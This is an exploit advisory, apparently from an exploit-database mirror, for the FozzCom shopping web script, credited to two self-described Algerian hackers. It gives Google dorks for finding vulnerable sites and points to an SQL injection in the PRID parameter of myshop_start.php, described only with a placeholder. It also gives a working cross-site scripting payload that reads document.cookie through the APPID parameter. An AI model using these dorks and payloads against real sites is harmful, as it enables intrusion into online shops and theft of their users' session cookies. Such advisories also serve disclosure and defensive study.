ExploitFixes
FozzCom shopping<= 7.94+8.04 Multiple Remote Vulnerabilities 2010-11-18 20:15:15


Exploit Title:FozzCom shopping&lt;= 7.94+8.04 Multiple Remote Vulnerabilities
Date: 12.10.2010
Author: Dr.0rYX and Cr3w-DZ
Category: webapps/0day
Version: 7.94+8.04

****************************************************************************************************
* _______ ___________.__ ___________ .__ *
* ____ \ _ \______\__ ___/| |__ _____ \_ _____/______|__| ____ _____ *
* / \/ /_\ \_ __ \| | | | \ ______ \__ \ | __) \_ __ \ |/ ___\\__ \ *
* | | \ \_/ \ | \/| | | Y \ /_____/ / __ \_| \ | | \/ \ \___ / __ \_ *
* |___| /\_____ /__| |____| |___| / (____ /\___ / |__| |__|\___ &gt;____ / *
* \/ \/ \/ \/ \/ \/ \/ *
* .__ __ __ *
* ______ ____ ____ __ _________|__|/ |_ ___.__. _/ |_ ____ _____ _____ *
* / ___// __ \_/ ___\| | \_ __ \ \ __&lt; | | \ __\/ __ \\__ \ / \ *
* \___ \\ ___/\ \___| | /| | \/ || | \___ | | | \ ___/ / __ \| Y Y \ *
* /____ &gt;\___ &gt;\___ &gt;____/ |__| |__||__| / ____| |__| \___ &gt;____ /__|_| / *
* \/ \/ \/ \/ \/ \/ \/ *
* Pr!v8 Expl0iT AND t00l ** *
* ALGERIAN HACKERS *
*********************************- NORTH-AFRICA SECURITY TEAM -*************************************

[!] FozzCom shopping&lt;= 7.94+8.04 Multiple Remote Vulnerabilities
[!] Author : Dr.0rYX and Cr3w-DZ
[!] MAIL : [email protected]&lt;mailto:[email protected]&gt; &amp; [email protected]&lt;mailto:[email protected]&gt;

***************************************************************************/
[!] notice :
Dr.0rYX: MY OLD EMAIL [email protected] CLOSED
MY NEW EMAIL IS [email protected]

***************************************************************************/
[ Software Information ]

[+] Vendor : http://www.fozztech.se
[+] script : FozzCom shopping
[+] Download : http://www.fozztech.se (sell script )
[+] Vulnerability : SQL injection Vulnerability
xss Vulnerability
[+] Dork : inurl:&quot;myshop_start.php?APPID=&quot;
[+] Dork : allintext:&quot;Powered by FozzCom.&quot;

**************************************************************************/
[ Vulnerable File 1]

http://server/[path]/myshop_start.php?APPID=2&amp;PRID=sql[N.A.S.T ]

[ Exploit 1 ]

http://server/myshop/myshop_start.php?APPID=2&amp;PRID= SQL INJECTION


*************************************************************************/
[ Vulnerable File 2]

http://server/[path]/myshop_start.php?APPID=xss[N.A.S.T ]

[ Exploit 2 ]
http://www.server/myshop/myshop_start.php?APPID='&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;

[ GReet ]

[+] : Exploit-db.com , v4-team.com